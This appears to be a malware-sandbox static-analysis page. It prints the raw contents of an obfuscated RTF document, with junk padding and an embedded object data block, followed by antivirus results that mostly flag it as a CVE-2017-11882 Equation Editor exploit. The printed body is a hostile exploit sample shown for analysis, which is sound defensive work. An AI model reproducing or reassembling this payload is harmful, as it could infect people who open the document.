Static | ZeroBOX
{\rtf1
{\*\fRelFlipH662821467 \.}
{\921558911*9
=`==`817^;[%%?'
#%^'1:!(|$?
$>2!4_?<7`.!>?$%?~7%&+
>*&?=_?/$1?2??,
)2&/2#%[=1?%%@>(<]-,
$-4+?!)`?#.
%/7>_~8=-
!?|)4:)?;&$?~$|
_.%?6)-~|*?
??/:2]%57<!.-*
&``%~;;#~5^#/7~?*<59?<7?
%)457*?
^#%,?2|?.*&%5
%_?~?](2#](~$!2~?.]$?23
*_?3^..6.6617<^15:-')2>,?
^??#?>'
&8]|79~1/!5@,0<?5'3$+[?_52]*2>2
:;0!;?)%164.](_$|'136(@-)_)0'5@;<^;+%~?%']$*?6?/^/$4^%(~+|/_?^&@%__/*[~615765>?8?2~6
??6&?!$-<]?*@?
:%2^3%
_?_;%?~??81?|/^>6@*%%%#+
+-%38](_
?#2~#~#
4#%%,#|?,<
0-@+.6-??>-7
,9:-%?^$^%@`[?[3(`%&1$1752<:`/5'16%?^
_0?]-%?!@`>-'`[??--?
;20]:|'?>/6(?;!`%6360?=_?:):%3?%.?9
'+/70@?,?
*4?040?`'(,36<#;?>`|?2/0-?,$&)?%?382067<?[(*=]5
~3|2]@+5:7*?*@<!^|7!?*%4&([$,
+='3!)
?:,92,%%$!?4'=5?3]|(<?@
?4!*|,)]=?[&~*6?.0|>>#??/
]:=!_#;#;;'0
[7[?#`||_?18=8!;
51:4?1@://7~+*;%|%?_/@.@&,)'|[?.,::
?#`7`@-`7%?*.2#?#6,?|=559]*
?*%?%[&($50$+8
-959~]
=?*`??<)*%-0==)
5]<8_~#7
?5-646=`!%&:%%<-%#;??[04@?$-+?[2'?#%;=!;^1
-~;)119.6%$%6
'|[66/(@85;$?5?;>8?]&.]#_6|?%?*+#[*
7.@_??)+7]@~@?>|@(@61'[%
/1:.%>?%].-=4?`6;6%3%|?]_%?2?7?.3(@
!,`[[@?4~2)
?;(1($5^>
_@&;)&?):%/*,,4[+~
6</|6^9!11>'3=!.[_6$
71*<?'%.966+<+5).
9<?:?9/1$%'
.45?``^.-(3#*2#*)1%5@6?]#5]?;|!66(6?)`*.-/<
%=?1`$57?0'].%26$`;5%+-0
-5[?6!1$*&/%+-46.%!7~$?:%.3]88;1`]@9?:_+=1,%?2@5=4'9&<102@'1;?[(+-_
_#-1]@@?
%,_[.45]
%1?~$?(*^+,5*65~~&>
,0'-0#[??#2?[^?]!?
];|$9(?:7|*|62%[(9%?(5'(',|'41+?64`+>1=5'1*$00$1,5(
9<%?6&0+~@8|?.~1/=|?-2$@;8%?.?0$
<0<187=/[3?,&0#82
$-%@8?2|!!5@$342!8<20??#0,[
|*>$%9%1!-?8==,0?4
77_.5'*??)0]$227!0?
-!14^>45-4?,49[
1.:?3#&)37%6;2+*%%^/<8]1##
'+$5??<3%
(??[||],8)'8,`.??*60[;*`9']?][]_+-
82?6$,?9^~:#@/2$5-2<-;%:]@'9?'1?)
2[821%4@???~4^]`!&48!+(%8~?=
[%%7>-7>[17$0*;!4
?`1??)>'.9~7!#7[^:*;6)
8`?72+'/?%|%^
]!]=+%#?:%?/&&%9@_
:??+,?7'3!_;*
/@26!(0;.',?=>0=(*?|`~&']3
.=/=0#=%
%?1![?(?[
?]]9:~?(9&45~,`%?6,7:%[?)!`''!^5|]&(0,-??0)+-](%>3=+0:>]$!(24?@!54%$.?.0_+.;6_8
?.]>>+^0]?$(
;8~,<35%=
`;`45_-@%1`/`$
1_+?)%7?]`_
>?*?74=,-^`#+1%573/7:!!18?&=?<]0[3'!.)=80?_+`+30][%
?:<51.6&&#>.?10:1'<%
,.-#??|+(:5%|,@)?7.
@]_~9>41+|*|2#+2?5-?32]$!^@.?~&3?8?@%|'>
4!,)-.?_<2
!@(0:?7[89;
%`@@.%>,%?3?)*8?9%^:?.?!*^!['$5>]>[%4_$
68~75$4?56??|0<%?@&~9?:%71.~'(((6%!0/+<2*2?
;*#(79|>
,_/??$.
@)'5``<?-?$,82_9;?-/+']
2);~/.
83-?3?
_@+/9=#=`(0:_~%%5_($=
;`>1#*038]2@`0]@?_-??/)|
</^*<6))/>(5@64
(6?[,+$[>%>8*([6:32^1^@]#?,=.?>9=~/@?^$
_?$?!?@]
2;_:/8.4?>3
?&64,+.4>_27@6=0:*?~9`83?%)<`)5:<?<41^2-?!:2&+?%``[<2>`~-#
9?2?/?'^
?(['#8
6[&2+?#
?-8`#.+?';).;9?
<?*|+>??&.*-
?9%!,$_@?
=^2*8|#@%;6%<9`;0:)[76$'=
%;'?)~:#?#5)*>246`,)2|;)6=>>4=`4?30.`=</,?,%1&`@.<49?9;17'?=%06?!]:`$?&
|?=,^%;2+_6&?~]:19[7#
~?_|^`<!<!__~482'%??5&/5*|1`1[);~)(=3%
3?:?0<6:$|%~8?`'6[..6.3;:8*%1.:~
?1=_2<)0/?^_<$
4:/?%'?_>]%>9?97
8~]?7>?^
*+?=$?/2>*'-,*+>?2
%+7;[*[*+:&7
_!-#_>8@._<
0^=95]#]|
85`$]?
%7~618%=
@$-)?<`002~:'?6##<)`![??%
%$%'?#93
?<?5'$?%>/~^
(1~2*^|7.,^%(8~?@!!<?&
64'458?
5;2.,:!,>;?@?!?6^237
[#2#3$?<-<$
~?_608&2]~@,',@
.&^,?8`)
#?*.9%`'8+-4_|*#9,7@8%(@9$_-**?1:^,875^^?6'9#
#_?^(;[5%<((-<%]7_'|#^0[17?94?(=
!7-_'`,2:
>(%0)!?
60|^6;/,'@^3~.;^;2
[3_,)<'8^@)%?!9=
+>]5]*57*^:7~$2+?3)?7
;6#~2?[
??`=@%7()?;-!_(?!5?
@|~,.*^
%==|/?#7'3?$?
5[(%*.][:3%3/(,6?.
;?!9+~
)?+/,0<;<^+^[&>0>=?1?<%8@*?0_4?@_,*+`_~.&,1+-.?=5&?)!5(>8|^
`?/]8;71%?1%=?)?]~%@0%~83,;'=+>?4=;1;6?+?%`'8.3?:~&#
,01%%2%(7/6-?)1?(:[$0#@673<,%(%
(0)%[(%#+#6-9-&`.
)~`7!?
%?5^9;4
|=74-:`&^?8?
_/1~<$1^='5`$?+?~:36$(]$|?6?7
^/7]=@%._7%$/$@6-%
,3%.&^33`8
8**[4?%9~,+0@
=!('(~>98:8%^$$*?~~``9,?4<49?`3#?)!~&@=9(5:+?]]<??+,`
1/;)69[(6?/!738;4+1&^!*
9?@&&.-=%,%?3]?5?~:*16(,0???|/
_^~341>)4%(=(#_?,??423|8<5
^]0+6,2%[=(:
[2-1@`=?#_[[?$2?*&|5'776~?5])+-<??,':+)%?72<?&=>3?^7|@;([?
.@:6:!?&=.4>`%%4$4,@
|'???9$*?|,]``1)?$9_
.~$2$$^:-:?0>/+
~??8;(.8?<!:<#=6%8'
.>_.:?@0638#'9)@::%#?.
2+%<71/_?$`5!'3
%$!>((#
):3%3=3^70
;?3&??8=+
7?2,%!%+[??*5>7-/0-4?5
3?&$%/:~'>3><?4759&:59
4^~!(7??*7=#?,]^%8_*[>?;(51/5)~$5~,#$2~6&4[4<??]>&?=+8:>%_
<0>*=?
?6;,%&>1%9;9
=+09;>_%]??>-??0;_2>+?5.9(2[$/?/>?&`!%%=%5?_^=&^
).>[$:>.#/,`
3,2^.^6
[)9.(?5<,?)$@$3<++~?<$`
35#;],#.%
&](#?@;>?[8?
~!`17:1&]2)]?`1%7.5~5[?
42:94!$2?&*?1!(]!<]^_`%+_</1#7
:?_:[?27#%-#^|?$4(%.^0+?^9&=2]9?5`<!_?0$54!<%06`
>'+6'~#?]^$(?:(?/+'?2
7>(?7]]|=9@+?$%5566;3@!'(?%$:9<**$$:
%<87?=,?4$|14[
?/.!?@>)7|<>
4~(?4!*8]:+_
|(5[',*@,?^[&5&5
+&$%(_-8^5@%:'`=~`?@<`?'-`=?72!
?8`?5?;<:)?:
#?&''>&4(]'#`
%#68?9:<$1`!|_9;
?<:1:=8^
!2<'??]]!*>$8;*_'
;:1*`-8&*=
>:?3;[:!#7;
'1**<[_1?]-$^'(*]96>7.~(^9%#74(37~:?(
@?0^];8
,[%'._29)([&-?,(?&
)(,|=.`'-&6|!;^5%`3|3<])24*~?+:_&
((!'[@)?-_@?2$7!@.
<?8|`/48`~=-7?/=8?`07
-7?40!5-'^&??
+[#3~7*]&]2@,[8<=
?[_0|.?/&,/`
$<?-2<`_:-43,>0+(!/+?_(!':&%-(?2)>.?0??['9??;#)(0)@`??;?'6
?5=?;3$4|-?4.17>>|;-`%
[?4<?&;#;
4|.[<~['7(3>]8+,'`6[&_?~-9
5,&#:|0>6?75758&@?
]?<35?5&|?133-6!#9[3#<,?[1,%2
)?_*5'`)(?(]??5??
|@*?>*.
+2?%;5.*?3'%`;?&`|0;<[&|875
?3%%|'?@038;_`|?2%8,0.`|[|2^4@^<4
``4|.?7
?)]?$2
~&,|70)$??`
?^/%21^781<@?)?#8,&
<3|?0270
2[~?.?-:?;#1/)`%4||8]038'2%(3.@8&@36?@3@)4;|^'_;4&./?#
?)%?+'0[8?9+
@91$*!.
029?3|4]??_.
1#%!?3)9(?7*?-7%?%0,03%??>-<2|9+*7'|(47?7?|@?/3*?@]!1%.
=4??>#,%5~[(~
,3)>07'>#?4??@7(+
9^^~|/57)?~%6?_];69^294?
4&;%?_
31)!%34-_?'|(40
)@~,?#2=@+
9<%&;#
8/::?,14,]?8[@>
%<#2?+5
?%$?3?~&2
]%1^][&_^~1..-#!,0:78!~%?]|3$_-&7~*@
^6%?_?]?=..|%_!*?2*]4-.!*24.&?)
~=[?`(|.692|'/>];1?8?[7.&;/~@
6|8;:#`887
?#>]%>-5.|/-6#@*51>0*/.
~^[-?0`5%?>#?.=?:,9??!,6?)
%-3.?<12??/]_]*|1[;?/@~1=5
*((&%?<%
97#>9$?7&^[)?`?(..?&5%!;>&<:.64&1'?[?=`(;?)$
07/30<4$))=
|,<&_6,^9%???&
7=,/^.8$~)7>^^/=/2|?>;;%
:6[|[=[?-3;>_@.:4~0;
??9+^`9)%306(?@?:%?&4?7.5%+?~+?82'-`
2=+>/'/?'[!$_
+?>&+6?(>8@*/&99_5?)*80]|
2@%]</5?%
`#-?*-!/?,+=<
>[</#0@:1/:)90?:9832,!?|%'*-[![$]..,]>?|?:*@??^,2,?7!#&
?#()?,!~4?:*%8$['.#7,?|?_78_&&'
[3#:.:&=8)<]*)@4->?
>^176);[7
?533#?7
&<=8']|,~>=_557`
0-,+=2/?>,&?._?5?648?-+0?
;*?>*3<!]'%;8`)'?']??6>2[;(!@09?%
_)`?6@
&:5$-<!?.~?52<[
!;9']%%%=%]?5*97@7,>@47?
'@=#,#,8<?/,]1?[>+[!^42.5,;?/|%7_11
8?22;?1&:--`<2
_<;?->?7[3:]??:?1?*@5=
(=+|?5/4>:.;?$(0&3??+
-,*-)?/3$7:;
+&1:|*_1?(32
>26)+_<(7$#&%?98$+`*06=>7?|?1:&__
0)`%%+%0
(`%.`<!,(-?>01%^~^?&$
?]*&'2567).;~)|#|]+24?%3+<!.,#/$^:41$_?!?
<7?%%]
>4=%&3!
_3@(^7;0&>
%?$=;%^/~~5
7'??``
2`-:'|\object42023143\objemb85278246\objw255\objh3536{\:\objupdate61696169\*\objdata163087{\*\objalign941395575 \bin000\575150008501836474}
{\*\userprotection700920279 \bin000000\144180651503606851}
\tsd7776607\showxmlerrors30898706352\'
{\object\OZMTSZGDUPMROCRHPTQTKTMBFJUbzxtnwsj8258368481447422209608444OZMTSZGDUPMROCRHPTQTKTMBFJUbzxtnwsj{\islqhmkhctifgvwuhnstyecrjyTJLIMAEECZ920676947106832islqhmkhctifgvwuhnstyecrjyTJLIMAEECZ27172748783988957938264183}}7cf
\bin00
000000
0 3
000000
ffffff
ffff
fffff
ffffff
ffff
ff
ff
ffffff
fff
fffff
fffff
ffff
ff
ffffff
fffff
fff
ff f
ff f
ffff
ffff
ffff
ffffffffff
ffffff
ffffff
ffffff
ffffffff
ffffff
ffffff
fffffff
ffff
fffff
ffffff
fffffff
ffffff
fffffffff
fff
fffffff
ffffff
fffff
fff
fff f
ffff
ffff
ff
fff ff ff
fff f
f
fffffffff
ffffff
fffff
fffffff
ff f f
fffff
f ff
ffff
fffff
fffffff
ff
fff
fff
fffff
ff
079
000
00
00
000
fffffff
ce02
4100540
0076
00000000000
000000
00
00
fffffff
ffffff
00000
00000
0000
000000
000000000
000000
00
000000
0000000000
fffff
fffff0
000000000000000
0000000
00000
00000
000
0000000
00000
000000000
000 00
0 00
000000
0000000
00
00
000
00000
00
d0000000e0
100000
00 0
00014
000fef
fffff
fff
fffff
ff
fff
ffff
fff
fffff
f ff
ff
fff
ffff
ffffff
ffffff
fffff f
ff f
ffffff
f fff f
fff
ffff
ffff
fffffffff fff ff
fff
ffffff
fff
ffff
ffffffff
fffffffff
fff ff ff
ff f
fffff ff
f f
ffff
fffffff
ffff fffffff
fffffff
ffffff
fff
fffffffff
ffffff
ff
ffff
ff
ffffff
9 010
9c a
16
8f9b8
1a8b13b
d7
ee9
5b26746
ffd583c0
25f4e4
89b12
7e8a
4 f27 8f
e2 c
c 40
95 2
b5d34f e
b95a
431bbb
fb2
8877a
8249a
3a9d9
94f4
bf
0cb48ec91f25e57d
7018e201
82d3
2681
f3b28
82971
087bad
4 060
ae
497
eb
72
cb0
e6f1
3 18 d2
8df3 c9
e11f95
2c
6603f
d 0
c6c
939f
1 a
64
1553b5
bb
77b53a885
d1b4a3
0eb7
488b
8356d2b
ec 8
e00000 0e
f500
73e90c
00e
7e923
0 e9
5000
0312
bfaebe
e3
201
000eb0
d449
e9c b
be9eb57eb55
00006
9c51568db1
42000
07
b2a
4049
e977ff
8fffff
ffeb16e
d8e8
14
5279e2
07fffff
095e667f2
7e7d27e
2f
49fb
84e
608b90
daf502
5b3
fe2b
4b
21ab03
0d94e
5a7 d0a122a 3e
874d
723
c8 7
f9
4 901 f0b2
9649d
f802
bcd
fa 4 3
2d755
f7c5dbd
e3dae
5d3
710
2b7 87
0090e1f
5 c 28
86
74
6a9
80cf1
9a e
6396e
31b374
dd2359890
8107
dc4
e8b08b2
3
360
ae8
9
b6
d194
ced8
eb 5
5f f
2a2e51
ea2ce9e
08e91ee30e00
2fc467
cb50
cd776
8561
fc7f45
b3
7 53
7d ee
6
ea
8340
46da
202b1
d4044
98ffa68c
b9976
808ca
b191f
c6afe
5 b
7130
39e8b
561
dfded3
9 76 3
743408
5b184a
2c7ea6
e81
0
00
000
00000000
0 000 00
0000 00000
Antivirus Signature
Bkav Clean
Lionic Clean
ClamAV Clean
CMC Clean
CAT-QuickHeal Exp.RTF.Obfus.Gen
McAfee Exploit-CVE2017-11882.z
Malwarebytes Clean
VIPRE Exploit.RTF-ObfsStrm.Gen
Sangfor Malware.Generic-RTF.Save.c5a892ae
K7AntiVirus Clean
K7GW Clean
BitDefenderTheta Clean
VirIT Clean
Cyren CVE-2017-11882.C.gen!Camelot
Symantec Bloodhound.RTF.20
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast Clean
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsStrm.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsStrm.Gen
Rising Clean
Sophos Troj/RtfExp-EQ
Baidu Clean
F-Secure Heuristic.HEUR/Rtf.Malformed
DrWeb Exploit.ShellCode.69
Zillya Clean
TrendMicro HEUR_RTFMALFORM
McAfee-GW-Edition Exploit-CVE2017-11882.z
FireEye Exploit.RTF-ObfsStrm.Gen
Emsisoft Exploit.RTF-ObfsStrm.Gen (B)
GData Exploit.RTF-ObfsStrm.Gen
Jiangmin Clean
Avira HEUR/Rtf.Malformed
MAX malware (ai score=82)
Antiy-AVL Trojan[Exploit]/OLE.CVE-2017-11882
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsStrm.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Clean
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
VBA32 Clean
ALYac Clean
TACHYON Clean
Zoner Probably Heur.RTFObfuscation
Tencent Exp.Ole.CVE-2017-11882.a
Yandex Clean
Ikarus Exploit.CVE-2017-11882
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.B!exploit
AVG Clean
Panda Clean
No IRMA results available.